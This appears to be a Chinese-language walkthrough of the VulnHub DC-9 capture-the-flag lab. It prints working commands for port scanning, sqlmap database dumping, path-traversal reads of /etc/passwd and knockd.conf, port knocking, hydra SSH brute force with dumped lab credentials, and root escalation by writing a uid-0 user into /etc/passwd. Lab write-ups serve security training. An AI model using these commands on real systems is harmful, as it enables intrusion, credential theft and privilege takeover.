vulnhub靶场之DC-9

一.环境搭建

1.靶场描述

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
 

只有一个flag

2.靶场下载地址

https://www.vulnhub.com/entry/dc-9,412
 

image-20240109150106054

3.启动靶场

image-20240109150139977

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透测试

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240109150619965

arp-scan -l
 

image-20240109150719519

靶场的真实ip地址是192.168.52.131

(2)探测端口及服务

nmap -A -v -p- 192.168.52.131
 

image-20240109151001815

注意到ssh服务端口是filtered的,可能是因为什么原因关闭了

image-20240109151534928

发现开放了80端口,APache httpd 2.4.38((debian))
 

也可以使用masscan进行探测

masscan --rate=10000 --ports 0-65535 192.168.52.131
 

image-20240109151721992

(3)web指纹识别

whatweb -v 192.168.52.131
 

image-20240109152351370

3.渗透测试

(1)访问web服务

http://192.168.52.131
 

image-20240109152800589

没有如何有用的信息

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.130
 

image-20240109153022173

2)nikto扫描网站结构
nikto -h http://192.168.52.131
 

image-20240109153211906

上面两个都没有扫描到有用的信息

3)dirsearch目录扫描
dirsearch -u 192.168.52.131 -e * -x 403 --random-agent
 

image-20240109153525872

我们可以看到扫描到2个有用的信息,一个/inex.php/login,一个/manage.php

我们分别访问

image-20240109153727723

image-20240109153741635

我们可以看到是一个登录页面,看来需要我们进行登录,但是不知道用户名和密码,我们对页面进行探测

(3)渗透测试

1)页面探测

image-20240109155037059

我们可以看到4个页面,我们一一进行探测,最后发现search存在POST型SQL注入

image-20240109155648721

2)SQL注入

我们进行测试

search=1
 

image-20240109160220516

search=1' or 1#
 

image-20240109160154425

证明存在SQL注入,我们使用sqlmap进行爆破

爆破数据库

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1'

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' --dbs
 

image-20240109164603256

image-20240109164639922

我们看到存在3个数据库,我们爆破 Staff

爆破表名

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' --tables
 

image-20240109165121805

image-20240109164955448

爆破字段名

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' --columns
 

image-20240109165142093

image-20240109165200750

爆破用户名和密码

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'Staff' -T 'Users' -C 'UserID,Username,Password' --dump
 

image-20240109165352353

image-20240109165414955

我们可以看到只有一个用户名和密码,密码是md5加密的,我们进行解密即可

image-20240109170603479

密码是transorbital1

3)登录后台

我们接着用该密码登入后台

image-20240109170740474

就多了个Add Record界面,注意到下面有File does not exist,想到是程序引用或读取了一个不存在的文件才会回显这个,接着用参数fuzz测试一下

burpsuite抓包,构建payload

?§§=../../../../../etc/passwd
 

image-20240109204619893

然后再把我们的参数字典加载进来

image-20240109201834786

image-20240109203037986

image-20240109204228910

参数名是file,存在目录遍历漏洞

4)端口敲门服务

考虑到ssh端口是关闭的,可能是开启了knock服务(参考端口敲门服务),利用文件包含确认一下,一般开启了knock服务就会存在/etc/knockd.conf文件

构造payload

/manage.php?file=../../../../../etc/knockd.conf
 

image-20240109204350312

果然有,开启ssh服务得依次敲击7469,8475,9842端口,利用netcat进行敲击

nc -z 192.168.52.131 7469 8475 9842
 

image-20240109205447903

敲击完后发现端口打开了

5)ssh爆破

我们使用ssh进行登录,发现登录不了

image-20240109205934820

想起之前SQLmap跑出过一个users的数据库, 存放网站用户信息的,我们去瞧一下

sqlmap -u "http://192.168.52.131/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1' -D 'users' -dump
 

image-20240109210151740

image-20240109210218085

用这些账号密码组成字典,爆破ssh

username.txt

marym 
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
 

password.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
 

接下来用九头蛇进行爆破

hydra -L username.txt -P password.txt ssh://192.168.52.131
 

image-20240109210739070

爆破出来3个用户名和密码

chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
 

尝试登入发现janitor用户有东西

image-20240109211236603

image-20240109211115878

有几个密码,复制到刚才的password文件继续爆破ssh

image-20240109211616657

新添加了一个用户

我们进行登录

image-20240109211756620

image-20240109212239263

发现有个root权限文件

6) 提权

发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件

image-20240109212533285

我们查看文件内容

这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限,事先参考/etc/passwd解释

先利用openssl命令创建一个密码

openssl passwd -1 -salt <用户名> <密码>
openssl passwd -1 -salt MS02423 MS02423
 

得到hash密码,

$1$MS02423$xCJ3D9eufDuODS1PBNjp51
 

我们切换到tmp目录下,新建一个文件

cd /tmp
echo 'MS02423:$1$MS02423$xCJ3D9eufDuODS1PBNjp51:0:0::/root:/bin/bash' > MS02423
 

image-20240109220506874

再回到/opt/devstuff/dist/test目录,执行程序test,将MS02423的文件内容写入到/etc/passwd文件里面

cd /opt/devstuff/dist/test
 
sudo ./test /tmp/MS02423 /etc/passwd
 

image-20240109214004115

可以看到MS02423用户已经添加到/etc/passwd文件里了,接下来然后使用命令su MS02423 切换到我们添加的MS02423用户,输入之前设置好密码即可登录

跳转到/root目录下,成功看到flag

image-20240109215910411

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.burp工具的使用

9.dirsearch目录扫描

10.SQL注入

11.ssh登录

12.openssl命令

13.端口敲门服务

14.hydra爆破

15.目录遍历漏洞

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/324286.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

编码技巧:如何在Golang中高效解析和生成XML

编码技巧&#xff1a;如何在Golang中高效解析和生成XML 引言Golang中的XML基础解析XML文件生成XML文件错误处理和调试高级技巧和最佳实践总结 引言 在当今数据驱动的编程世界中&#xff0c;有效地处理各种数据格式是每个开发人员必备的技能之一。其中&#xff0c;XML&#xff…

【MATLAB】CEEMD+FFT+HHT组合算法

代码原理 CEEMD&#xff08;集合经验模态分解&#xff09;FFT&#xff08;快速傅里叶变换&#xff09;HHT&#xff08;希尔伯特-黄变换&#xff09;组合算法也是一种常见的信号处理和分析方法。这种组合算法结合了CEEMD、FFT和HHT三个步骤&#xff0c;可以处理非线性和非平稳信…

Vue入门七(Vuex的使用|Vue-router|LocalStorage与SessionStorage和cookie的使用)

文章目录 一、Vuex1&#xff09;理解vuex2&#xff09;优点3&#xff09;何时使用&#xff1f;4&#xff09;使用步骤① 安装vuex② 注册vuex③ 引用vuex④ 创建仓库Store五个模块介绍 5&#xff09;基本使用 二、Vue-router三、LocalStorage与SessionStorage、cookie的使用 一…

如何用GPT/GPT4完成AI绘图和论文写作?

详情点击链接&#xff1a;如何用GPT/GPT4完成AI绘图和论文写作&#xff1f; 一OpenAI 1.最新大模型GPT-4 Turbo 2.最新发布的高级数据分析&#xff0c;AI画图&#xff0c;图像识别&#xff0c;文档API 3.GPT Store 4.从0到1创建自己的GPT应用 5. 模型Gemini以及大模型Clau…

202406读书笔记|《沉睡的线条世界》——翻山越岭,只为与你分享点滴的快乐

《沉睡的线条世界》登登登Dn绘著&#xff0c;简简单单的小画&#xff0c;简简单单的线条&#xff0c;简简单单的语言&#xff0c;温馨又有一点暖心。 怎样的你都好&#xff0c;做最真实的自己。 部分节选如下&#xff1a; 愿你我永远有热情&#xff0c;永远能为生活的每一个小惊…

运筹说 第67期 | 动态规划模型的建立与求解

通过前一期的学习&#xff0c;我们已经学会了动态规划的基本概念和基本原理。本期小编带大家学习动态规划模型的建立与求解。 动态规划模型的建立 一 概述 建立动态规划的模型&#xff0c;就是分析问题并建立问题的动态规划基本方程。 成功地应用动态规划方法的关键&#x…

flutter使用getx进行数据状态管理,实现页面响应式

无论是什么样的应用&#xff0c;都还是需要最基础的数据来支撑的&#xff0c;而且不同的页面之间可能需要共享数据状态&#xff0c;这就显得数据状态管理非常有必要了。因为我这里使用了get依赖库&#xff0c;所以就可以直接在项目中使用getx来管理状态&#xff0c;不想再使用别…

PXE 高效批量网络装机

前提&#xff1a; 虚拟机恢复到初始化 调整网卡为vm1 关闭防火墙 安全linux systemctl stop firewalld vim /etc/selinux/config 配置IP地址 vim /etc/sysconfig/network-scripts/ifcfg-ens33 重启网卡 systemctl restart network 挂载磁盘 安装yum源 安装服务 yum install vs…

如何购买腾讯云服务器?图文教程超详细

腾讯云服务器购买流程很简单&#xff0c;有两种购买方式&#xff0c;直接在官方活动上购买比较划算&#xff0c;在云服务器CVM或轻量应用服务器页面自定义购买价格比较贵&#xff0c;但是自定义购买云服务器CPU内存带宽配置选择范围广&#xff0c;活动上购买只能选择固定的活动…

算法-二分专题

文章目录 概念应用场景代码模板OJ练习寻找指定元素1题目描述输入描述输出描述样例题解 寻找指定元素2题目描述输入描述输出描述样例题解 寻找指定元素3题目描述输入描述输出描述样例题解 寻找指定元素4题目描述输入描述输出描述样例题解 寻找指定元素5题目描述输入描述输出描述…

SpringBoot教程(十四) | SpringBoot集成Redis(全网最全)

SpringBoot教程(十四) | SpringBoot集成Redis(全网最全) 一、Redis集成简介 Redis是我们Java开发中&#xff0c;使用频次非常高的一个nosql数据库&#xff0c;数据以key-value键值对的形式存储在内存中。redis的常用使用场景&#xff0c;可以做缓存&#xff0c;分布式锁&…

Java多线程——并发和并行、实现方法

多线程 并发和并行 实现方法 代码演示 方式一 package com.qiong.thread1;public class MyThread extends Thread{Overridepublic void run() {for (int i 0; i < 20; i) {System.out.println(getName() "Hello World");}} }package com.qiong.thread1;public…

随心玩玩(十二)通义千问——LLM大模型微调

写在前面&#xff1a;使劲的摸鱼&#xff0c;摸到的鱼才是自己的~ 文章目录 简介环境配置模型加载jupyter远程配置快速使用微调示例部署方案总结附录&#xff1a; ReAct Prompting 示例准备工作一&#xff1a;样例问题、样例工具准备工作二&#xff1a;ReAct 模版步骤一&#x…

高通sm7250与765G芯片是什么关系?(一百八十一)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

【翻译】Qt Designer 如何使用资源文件

原文地址&#xff1a;https://doc.qt.io/qt-6/designer-resources.html Qt的资源浏览器是用于管理应用程序资源的工具&#xff0c;可以让开发者方便地查看和管理应用程序中的各种资源文件&#xff0c;例如图像、字体、布局文件、对话框等。 资源浏览器提供了一个可视化的界面&…

【BBuf的CUDA笔记】十二,LayerNorm/RMSNorm的重计算实现

带注释版本的实现被写到了这里&#xff1a;https://github.com/BBuf/how-to-optim-algorithm-in-cuda/tree/master/apex 由于有很多个人理解&#xff0c;读者可配合当前文章谨慎理解。 0x0. 背景 我也是偶然在知乎的一个问题下看到这个问题&#xff0c;大概就是说在使用apex的…

移动端开发进阶之蓝牙通讯(二)

移动端开发进阶之蓝牙通讯&#xff08;二&#xff09; 蓝牙广播是一种无线通讯技术&#xff0c;通过无线电波传输数据&#xff1b; 在蓝牙低功耗&#xff08;BLE&#xff09;协议中&#xff0c;广播通信是其重要组成部分&#xff0c;主要有两类使用场景&#xff1a; 单一方向的…

QT-day6

作业1&#xff1a;数据库增删查改 #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this);if (!db.contains("stu.db")){db QSqlDatabase::addDatabase(&q…

2024年腾讯云服务器多少钱1个月?

2024年腾讯云服务器多少钱1个月&#xff1f;5元一个月&#xff0c;62元一年&#xff0c;更多腾讯云服务器精准报价。腾讯云服务器租用优惠价格表&#xff1a;轻量应用服务器2核2G3M价格62元一年、2核2G4M价格118元一年&#xff0c;540元三年、2核4G5M带宽218元一年&#xff0c;…

Uibot (RPA设计软件)Mage AI智能识别(发票识别)———课前材料五

微信群发助手机器人的小项目友友们可以参考小北的课前材料二博客~ (本博客中会有部分课程ppt截屏,如有侵权请及请及时与小北我取得联系~&#xff09; 紧接着小北的前两篇博客&#xff0c;友友们我们即将开展新课的学习~RPA 培训前期准备指南——安装Uibot(RPA设计软件&#x…